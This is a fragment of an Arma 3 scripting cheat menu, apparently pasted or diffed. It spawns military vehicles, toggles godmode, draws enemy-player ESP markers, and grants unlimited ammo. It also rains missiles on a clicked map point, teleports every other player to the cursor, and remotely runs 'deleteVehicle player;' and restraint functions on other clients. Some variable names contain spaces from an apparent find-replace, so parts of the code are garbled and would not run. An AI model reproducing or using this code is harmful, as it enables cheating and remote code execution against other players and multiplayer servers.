- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Hunter", {
- _svtp = createVehicle["B_MRAP_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Hunter HMG", {
- _svtp = createVehicle["B_MRAP_01_hmg_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Hunter GMG", {
- _svtp = createVehicle["B_MRAP_01_gmg_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Ifrit", {
- _svtp = createVehicle["O_MRAP_02_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Ifrit HMG", {
- _svtp = createVehicle["O_MRAP_02_hmg_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Ifrit GMG", {
- _svtp = createVehicle["O_MRAP_02_gmg_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Tank", {
- _svtp = createVehicle["B_MBT_01_cannon_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Tank2", {
- _svtp = createVehicle["B_MBT_01_mlrs_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- Dummy addAction["Spawn AH9", {
- _svtp = createVehicle["B_Heli_Light_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn AH9 Armed", {
- _svtp = createVehicle["B_Heli_Light_01_armed_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Armed Kajaman", {
- _svtp = createVehicle["O_Heli_Attack_02_black_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Ghost Hawk", {
- _svtp = createVehicle["B_Heli_Transport_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Armed Orca", {
- _svtp = createVehicle["O_Heli_Light_02_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Commance", {
- _svtp = createVehicle["B_Heli_Attack_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- Dummy addAction["Spawn Plane I", {
- _svtp = createVehicle["I_Plane_Fighter_03_CAS_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Plane B", {
- _svtp = createVehicle["B_Plane_CAS_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Plane O", {
- _svtp = createVehicle["O_Plane_CAS_02_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- }, "", 50];
- Dummy addAction["- Extras", {
- removeallactions Dummy;
- Dummy addaction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions Dummy;
- call Dummy_Menu;
- }, "", 50];
- Dummy addaction["<t color='#000000'>----------------------</t>", {
- Hint "Dummy FTW! :D";
- }, "", 50];
- Dummy addAction["- Godmode", {
- if (isNil "Dummy_God") then {
- Dummy_God = 0;
- };
- if (Dummy_God == 0) then {
- Dummy_God = 1;
- hint "Godmode \n by Aaron is sexy updated \n ON ";
- fnc_usec_damageHandler = {};
- fnc_usec_unconscious = {};
- Dummy removeAllEventHandlers "handleDamage";
- Dummy addEventHandler["handleDamage", {
- false
- }];
- Dummy allowDamage false;
- vehicle Dummy removeAllEventHandlers "handleDamage";
- vehicle Dummy addEventHandler["handleDamage", {
- false
- }];
- vehicle Dummy allowDamage false;
- } else {
- Dummy_God = 0;
- hint "Godmode \n by Aaron is sexy updated \n OFF ";
- Dummy addEventHandler["handleDamage", {
- true
- }];
- Dummy removeAllEventHandlers "handleDamage";
- Dummy allowDamage true;
- };
- }, "", 50];
- Dummy addAction["- E5P Markers", {
- if (isnil("Dummy_E5P")) then {
- Dummy_E5P = 0;
- };
- if (Dummy_E5P == 0) then {
- Dummy_E5P = 1;
- hint "Dummy_E5P \n by Aaron is sexy updated \n ON";
- } else {
- Dummy_E5P = 0;
- hint "Dummy_E5P \n by Aaron is sexy updated \n OFF";
- };
- if (Dummy_E5P == 1) then {
- onEachFrame {
- _l49 = nearestobjects[Dummy, ["CAManBase"], 1500]; {
- if ((side _x != side player) && (getPlayerUID _x != "") && ((Dummy distance _x) < 1500)) then {
- drawIcon3D["", [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(Dummy distance _x), name _x]), 1, 0.04, "TahomaB"]
- } else {
- if ((getPlayerUID _x != "") && ((Dummy distance _x) < 1500)) then {
- drawIcon3D["", [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(Dummy distance _x), name _x]), 1, 0.04, "TahomaB"]
- };
- };
- }
- foreach playableUnits;
- };
- } else {
- onEachFrame {
- nil
- };
- };
- }, "", 50];
- Dummy addAction["- Unlimit Ammo + Rapit Fire", {
- if (isnil("Aaron is sexy updated_Unlim_Ammo_Dummy")) then {
- Aaron is sexy updated_Unlim_Ammo_Dummy = 0;
- };
- if (Aaron is sexy updated_Unlim_Ammo_Dummy == 0) then {
- Aaron is sexy updated_Unlim_Ammo_Dummy = 1;
- hint "Unlimit Ammo \n by Aaron is sexy updated \n ON";
- } else {
- Aaron is sexy updated_Unlim_Ammo_Dummy = 0;
- hint "Unlimit Ammo \n by Aaron is sexy updated \n OFF";
- };
- while {
- Aaron is sexy updated_Unlim_Ammo_Dummy == 1
- }
- do {
- if (!alive Dummy) then {
- Dummy_God = 0;
- Dummy_E5P = 0;
- Aaron is sexy updated_Unlim_Ammo_Dummy = 0;
- deletevehicle Dummy;
- };
- vehicle Dummy setVehicleLock "UNLOCKED";
- _l25 = primaryWeapon Dummy;
- _l31 = secondaryWeapon Dummy;
- Dummy setAmmo[_l25, 999];
- Dummy setAmmo[_l31, 999];
- (vehicle Dummy) setVehicleAmmo 1;
- (vehicle Dummy) setVehicleAmmo 1;
- (vehicle Dummy) setWeaponReloadingTime[(vehicle Dummy), currentWeapon(vehicle Dummy), 0];
- Dummy setWeaponReloadingTime[Dummy, currentWeapon Dummy, 0];
- Dummy setFatigue 0;
- sleep 0.01;
- };
- }, "", 50];
- Dummy addAction["- Airstrike", {
- meins = 1000;
- mein1 = {
- openMap[false, false];
- [_pos] spawn {
- for '_l39'
- from 0 to meins do {
- _l87 = "M_AT";
- _l88 = [_this select 0 select 0, _this select 0 select 1, (_this select 0 select 2) + 200];
- _l89 = createVehicle[_l87, _l88, [], 0, "CAN_COLLIDE"];
- _l89 setvelocity[random 1000.00 - 500, random 1000.00 - 500, 0];
- [_l89, -90, 0] call BIS_fnc_setPitchBank;
- hint format["Missiles Launched \n by Aaron is sexy updated \n %1", _l39];
- sleep(random 0.00001);
- };
- };
- };
- titleText["Click on map to drop Airstrike", "PLAIN"];
- titlefadeout 7;
- onMapSingleClick "_pos call mein1;";
- openMap[true, false];
- }, "", 50];
- Dummy addAction["- TP me to kavalla Top", {
- Dummy setPos[3690, 13150, 14.6];
- hint format["Ported - by Aaron is sexy updated"];
- }, "", 50];
- Dummy addAction["- TP all to my Cursor", {
- _wPos = screenToWorld[0.5, 0.5];
- _donot = name player;
- [TRUE, "deleteVehicle player;"] call Thirty_Six; {
- if (name _x != name player) then {
- vehicle _x setPos(_wPos);
- };
- }
- foreach playableUnits;
- hint format[" All players teleported to: \n %1 \n by Thirty_Six", _wPos];
- }, "", 50];
- Dummy addaction["<t color='#000000'>----------------------</t>", {
- Hint "Dummy FTW! :D";
- }, "", 50];
- }, "", 50];
- Dummy addAction["- Cop", {
- removeallactions Dummy;
- Dummy addaction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions Dummy;
- call Dummy_Menu;
- }, "", 50];
- Dummy addaction["<t color='#000000'>----------------------</t>", {
- Hint "Dummy FTW! :D";
- }, "", 50];
- Dummy addAction["- Chat", {
- if (getPlayerUID cursorTarget != "") then {
- [cursorTarget, "['TaskSucceeded', ['', 'Incoming Message']] call BIS_fnc_showNotification;hint '\n My friend, \n i cant hear you, if you wish to tell me something, please use the\n Direct Chat. \n \n --------------------------------------------- \n Lieber Freund, \n ich kann dich nicht hoeren, wenn du mir etwas sagen willst, schreibe dies bitte in den \n Direct Chat. \n';"] call Aaron is sexy updated;
- hint '\n My friend, \n i cant hear you, if you wish to tell me something, please use the\n Direct Chat. \n \n --------------------------------------------- \n Lieber Freund, \n ich kann dich nicht hoeren, wenn du mir etwas sagen willst, schreibe dies bitte in den \n Direct Chat. \n';
- } else {
- hint "No cursor target found!";
- };
- }, "", 50];
- Dummy addAction["- Restrain Target", {
- hint format["%1 was restrained \n by Aaron is sexy updated", name cursorTarget];
- cursorTarget setVariable["restrained", true, true];
- [
- [cursorTarget], "life_fnc_restrain", cursorTarget, false
- ] spawn life_fnc_MP;
- }, "", 50];
- Dummy addAction["- Unrestrain Target", {
- hint format["%1 was released \n by Aaron is sexy updated", name cursorTarget];
- cursorTarget setVariable["restrained", false, true];
- }, "", 50];
- Dummy addAction["- Escort on", {
- cursorTarget attachTo[Dummy, [0.1, 1.1, 0]];
- cursorTarget setVariable["transporting", false, true];
- cursorTarget setVariable["Escorting", true, true];
- }, "", 50];
- Dummy addAction["- Escort off", {
- detach cursorTarget;
- cursorTarget setVariable["Escorting", false, true];
- }, "", 50];
- Dummy addAction["-<t color='#FFFF00'> Attach Player </t>", {
- if (isnil("Attach_Player_to_Dummy")) then {
- Attach_Player_to_Dummy = 0;
- };
- if (Attach_Player_to_Dummy == 0) then {
- Attach_Player_to_Dummy = 1;
- Saved_pos_player = getpos player;
- player attachTo[Dummy, [0, 0, -20]];
- hint "Player attached to Dummy \n by Aaron is sexy updated";
- } else {
- Attach_Player_to_Dummy = 0;
- detach player;
- vehicle player setpos Saved_pos_player;
- hint "Player detached from Dummy \n by Aaron is sexy updated";
- };
- }, "", 50];
- Dummy addaction["<t color='#000000'>----------------------</t>", {
- Hint "Dummy FTW! :D";
- }, "", 50];
- }, "", 50];
- Dummy addaction["<t color='#000000'>----------------------</t>", {
- Hint "Dummy FTW! :D";
- }, "", 50];
- };
- fill = {
- private["_box", "_type", "_boxn", "_bType", "_bType", "_bPos", "_boxn", "_cfgweapons", "_weapons", "_magazines", "_cur_wep", "_classname", "_wep_type", "_scope", "_picture", "_items", "_backpacks"];
- _box = _this select 0;
- _type = _this select 1;
- _resupply =
- if (count _this > 2) then {
- _this select 2;
- } else {
- false;
- };
- _resupply_time =
- if (count _this > 3) then {
- _this select 3;
- } else {
- 60 * 5
- };
- _bType = typeOf _box;
- _bPos = getPos _box;
- if (!local _box) then {
- _box hideObject true;
- _boxn = _bType createVehicleLocal[0, 0, 0];
- _boxn setPosATL[_bPos select 0, _bPos select 1, 0];
- } else {
- _boxn = _box;
- };
- clearWeaponCargo _boxn;
- clearMagazineCargo _boxn;
- clearItemCargo _boxn;
- clearBackpackCargo _boxn;
- switch (_type) do {
- case 0:
- {
- _cfgweapons = configFile >> "CfgWeapons";
- _weapons = [];
- for "_i"
- from 0 to(count _cfgWeapons) - 1 do {
- _cur_wep = _cfgweapons select _i;
- if (isClass _cur_wep) then {
- _classname = configName _cur_wep;
- _wep_type = getNumber(_cur_wep >> "type");
- _scope = getNumber(_cur_wep >> "scope");
- _picture = getText(_cur_wep >> "picture");
- if (_scope >= 2 && _wep_type in [1, 2, 4, 4096] && _picture != "" && !(_classname in _weapons) && _classname != "NVGoggles") then {
- _weapons set[count _weapons, _classname];
- };
- };
- };
- _cfgweapons = configFile >> "CfgMagazines";
- _magazines = [];
- for "_i"
- from 0 to(count _cfgWeapons) - 1 do {
- _cur_wep = _cfgweapons select _i;
- if (isClass _cur_wep) then {
- _classname = configName _cur_wep;
- _scope = getNumber(_cur_wep >> "scope");
- _picture = getText(_cur_wep >> "picture");
- if (_scope >= 2 && _picture != "" && !(_classname in _magazines)) then {
- _magazines set[count _magazines, _classname];
- };
- };
- }; {
- _boxn addWeaponCargo[_x, 5];
- }
- foreach _weapons; {
- _boxn addMagazineCargo[_x, 50];
- }
- foreach _magazines;
- _cfgweapons = configFile >> "CfgWeapons";
- _items = [];
- for "_i"
- from 0 to(count _cfgWeapons) - 1 do {
- _cur_wep = _cfgweapons select _i;
- if (isClass _cur_wep) then {
- _classname = configName _cur_wep;
- _wep_type = getNumber(_cur_wep >> "type");
- _scope = getNumber(_cur_wep >> "scope");
- _picture = getText(_cur_wep >> "picture");
- if (_scope >= 2 && _wep_type in [131072, 4096] && _picture != "" && !(_classname in _items) && _classname != "Binocular") then {
- _items set[count _items, _classname];
- };
- };
- }; {
- _boxn addItemCargo[_x, 1];
- }
- foreach _items;
- _cfgweapons = configFile >> "CfgVehicles";
- _backpacks = [];
- for "_i"
- from 0 to(count _cfgWeapons) - 1 do {
- _cur_wep = _cfgweapons select _i;
- if (isClass _cur_wep) then {
- _classname = configName _cur_wep;
- _wep_type = getText(_cur_wep >> "vehicleClass");
- _scope = getNumber(_cur_wep >> "scope");
- _picture = getText(_cur_wep >> "picture");
- if (_scope >= 2 && _wep_type == "Backpacks" && _picture != "" && !(_classname in _backpacks)) then {
- _backpacks set[count _backpacks, _classname];
- };
- };
- }; {
- _boxn addBackPackCargo[_x, 10];
- }
- foreach _backpacks;
- };
- case 1:
- {
- _cfgweapons = configFile >> "CfgWeapons";
- _weapons = [];
- for "_i"
- from 0 to(count _cfgWeapons) - 1 do {
- _cur_wep = _cfgweapons select _i;
- if (isClass _cur_wep) then {
- _classname = configName _cur_wep;
- _wep_type = getNumber(_cur_wep >> "type");
- _scope = getNumber(_cur_wep >> "scope");
- _picture = getText(_cur_wep >> "picture");
- if (_scope >= 2 && _wep_type in [1, 2, 4, 4096] && _picture != "" && !(_classname in _weapons) && _classname != "NVGoggles") then {
- _weapons set[count _weapons, _classname];
- };
- };
- };
- _cfgweapons = configFile >> "CfgMagazines";
- _magazines = [];
- for "_i"
- from 0 to(count _cfgWeapons) - 1 do {
- _cur_wep = _cfgweapons select _i;
- if (isClass _cur_wep) then {
- _classname = configName _cur_wep;
- _scope = getNumber(_cur_wep >> "scope");
- _picture = getText(_cur_wep >> "picture");
- if (_scope >= 2 && _picture != "" && !(_classname in _magazines)) then {
- _magazines set[count _magazines, _classname];
- };
- };
- }; {
- _boxn addWeaponCargo[_x, 5];
- }
- foreach _weapons; {
- _boxn addMagazineCargo[_x, 50];
- }
- foreach _magazines;
- };
- case 2:
- {
- _cfgweapons = configFile >> "CfgWeapons";
- _items = [];
- for "_i"
- from 0 to(count _cfgWeapons) - 1 do {
- _cur_wep = _cfgweapons select _i;
- if (isClass _cur_wep) then {
- _classname = configName _cur_wep;
- _wep_type = getNumber(_cur_wep >> "type");
- _scope = getNumber(_cur_wep >> "scope");
- _picture = getText(_cur_wep >> "picture");
- if (_scope >= 2 && _wep_type in [131072, 4096] && _picture != "" && !(_classname in _items) && _classname != "Binocular") then {
- _items set[count _items, _classname];
- };
- };
- }; {
- _boxn addItemCargo[_x, 10];
- }
- foreach _items;
- };
- case 3:
- {
- _cfgweapons = configFile >> "CfgVehicles";
- _backpacks = [];
- for "_i"
- from 0 to(count _cfgWeapons) - 1 do {
- _cur_wep = _cfgweapons select _i;
- if (isClass _cur_wep) then {
- _classname = configName _cur_wep;
- _wep_type = getText(_cur_wep >> "vehicleClass");
- _scope = getNumber(_cur_wep >> "scope");
- _picture = getText(_cur_wep >> "picture");
- if (_scope >= 2 && _wep_type == "Backpacks" && _picture != "" && !(_classname in _backpacks)) then {
- _backpacks set[count _backpacks, _classname];
- };
- };
- }; {
- _boxn addBackPackCargo[_x, 10];
- }
- foreach _backpacks;
- };
- };
- };
- };
- };
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